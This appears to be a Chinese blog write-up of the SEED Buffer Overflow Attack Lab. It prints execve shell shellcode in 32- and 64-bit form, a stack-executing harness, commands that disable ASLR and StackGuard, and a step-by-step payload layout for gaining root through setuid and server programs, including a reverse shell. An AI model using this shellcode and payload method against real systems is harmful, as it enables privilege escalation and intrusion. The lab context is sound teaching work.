SEED 2.0 Softwarelab3:Buffer Overflow Attack Lab

Buffer Overflow Attack Lab

Set-UID版本

Overview

缓冲区溢出指的是程序试图将数据写入缓冲区以外的情况。

这种漏洞可以由恶意用户使用来改变程序的流量控制,导致执行恶意代码

本实验的目标是为学生提供对这种类型的漏洞的实用洞察力,并学习如何利用攻击中的漏洞

Environment Setup

关闭地址空间随机化

系统会随机化堆和堆栈的起始地址。猜测地址是缓冲溢出攻击的关键步骤之一。可以使用以下命令丢弃此功能:

1
sudo sysctl -w kernel.randomize_va_space

配置/bin/sh

因为现在/bin/sh符号链接指向/bin/dash,而在第一次实验中,我们知道dash对set-UID程序有个安全策略,放弃特权。

所以我们需要改变符号链接到/bin/zsh,使用如下命令:

1
sudo ln -sf /bin/zsh /bin/sh

StackGuard和不可执行栈

这个会在编译时关闭,这两个也是保护程序安全的策略,之后会讨论

Task 1: Getting Familiar with Shellcode

提供三个版本的shellcode:c版本、32-bit和64-bit,这里只提供c

c version

1
2
3
4
5
6
7
8
#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
//意思是,shellcode就是调用了一个/bin/sh

Task: Invoking the Shellcode

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char shellcode[] = //就是汇编代码的二进制形式
#if __x86_64__
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;

int main(int argc, char **argv)
{
char code[500];
strcpy(code, shellcode); // Copy the shellcode to the stack
int (*func)() = (int(*)())code;
func(); // Invoke the shellcode from the stack
return 1;
}

因为已经提供了Makefile文件,所以可以很简单的实现

1
2
make             #生成a32.out和a64.out
./a32.out #调用shell

Task 2: Understanding the Vulnerable Program

从源码审计知道:

  1. 漏洞出在bof函数中的strcpy(buffer, str)函数
  2. 我们需要在badfile文件中填入payload造成缓冲区溢出漏洞

准备四个难度的Level,已经提供了相应的Makefile

1
2
3
4
5
make                     # 利用以下命令生成4个Level
# gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
# sudo chown root stack
# sudo chmod 4755 stack
# 知道程序是32位程序,编译时关闭了前面提到的两个安全策略,最后是属于root用户的set-uid程序

Task 3: Launching Attack on 32-bit Program (Level 1)

按如下步骤发动缓冲区溢出攻击:

  1. gdb stack-L1-dbg得到bof函数的地址以及buffer的地址
    image-20211110172748213
  2. 创建badfile文件,touch badfile
  3. 修改exploit.py文件
    image-20211110173007659
  4. 生成payload并攻击
    image-20211110173120280
  5. 可以看到我们成功拿到root权限

如何修改exploit?

  1. shellcode是复制的,就是shellcode的32bit汇编版本
  2. ret是返回地址,返回shellcode的第一条指令
  3. offset是ebp和buffer地址的间隔
  4. L等于4是32位程序

Task 4: Launching Attack without Knowing Buffer Size (Level 2)

不知道缓冲区大小,但是知道缓冲区大小的范围是100-200

所以我们其实不知道的是offset的大小,只查看buffer的地址吧。

image-20211110203921358

修改exploit.py

image-20211110204203357

攻击成功

image-20211110204241360

Task 5: Launching Attack on 64-bit Program (Level 3)

同上一个任务类似,但是这次是64位的程序

Server版本

Overview

缓冲区溢出指的是程序试图将数据写入缓冲区以外的情况。

这种漏洞可以由恶意用户使用来改变程序的流量控制,导致执行恶意代码

本实验的目标是为学生提供对这种类型的漏洞的实用洞察力,并学习如何利用攻击中的漏洞

Lab Environment Setup

关闭地址空间随机化

ALSR对程序内存中的一些关键数据区域进行随机化,包括栈的位置、堆和库的位置等。

1
sudo /sbin/sysctl -w kernel.randomize_va_space=0

漏洞程序

实验所用的漏洞程序是server-code文件夹的stack.c程序。

我们的任务是利用这个漏洞得到root权限。

程序拥有root权限,运行在一个服务器中,它的标准输入被重定向到一个在远程用户和服务器之间的TCP连接。

就是说,程序能从一个远程用户得到数据。

要编译上述漏洞程序,我们需要使用-fno-stack-protector-z execstack选项关闭StackGuard和非可执行堆栈保护,L1设置为具体的值

1
gcc -DBUF_SIZE=$(L1) -o stack -z execstack -fno-stack-protector stack.c          # 我设置的L1为250

在文件夹,通过make命令去按照Makefile编译程序,然后make install命令安装,让编译得到的二进制能够被容器使用。

1
2
make
make install

image-20211109151506071

server-code文件夹里的server.c是服务器入口点,监听9090端口

当收到TCP连接时,会将TCP收到的数据作为标准输入到stack程序,我们没必要去读server.c的源码。

容器搭建和命令

起环境,docker容器

1
2
3
4
5
6
dcbuild      # alias for: docker-compose build
dcup # alias for: docker-compose up
dcdown # alias for: docker-compose down
dockps # Alias for: docker ps --format "{{.ID}} {{.Names}}"
docksh <id> # Alias for: docker exec -it <id> /bin/bash

Task 1: Get Familiar with the Shellcode

Shellcode通常被用在代码注入攻击。它基本上是一段启动shell的代码,通常用汇编语言编写。

在本实验中只提供二进制版本的shellcode

  1. 生成32位和64位二进制shellcode文件codefile32codefile64

    image-20211109161302510

  2. 编译call_shellcode.c,我们可以使用a32.outa64.out来分别调用上一步生成的shellcode文件
    image-20211109162148430

  3. 测试shellcode
    image-20211109163524900

  4. 修改shellcode,可以用来删除文件,
    image-20211109223939250
    image-20211109223844600

Task 2: Level-1 Attack

第一个目标是10.9.0.0端口是9090,漏洞程序stack是32位程序。

服务器将接受517字节的输入,会造成缓冲区溢出。

  1. 先测试我们的服务器是否正常、
    image-20211109225003621
    正常返回,我们得到了栈帧指针的值ebp和buffer的地址
  2. 我们修改位于attack-code文件夹下面的exploit.py,构造我们的payload
    image-20211109230829919
    image-20211109231006268
  3. 监听9090端口,反向shell得到root权限
    image-20211109232608115

Level-1给了2个Hint:

  1. ebp地址
  2. buffer地址

从hint中我们得到buffer的大小为offset,构造content,也就是最后badfile文件内容:

  1. 先用NOP空指令将content数组填充
  2. [0:offset],内容是NOP指令,缓冲区数据。
  3. [offset:offset+4],就是ret指令返回的地址(小端法),我们要执行恶意代码,最小为ebp+8最大为517-len(shellcode)
  4. [517-len(shellcode):517],填充shellcode恶意代码

Task 3: Level-2 Attack

为了增加难度,在本任务中将不会给出ebp地址

image-20211110140909438

如图所示只给出了buffer的地址,我们不知道buffer的大小。

同时,为了降低难度,缓冲区的大小被设定为[100,300]

所以解法是暴力枚举,每个大小都试一下

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • Copyrights © 2021 Sung
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信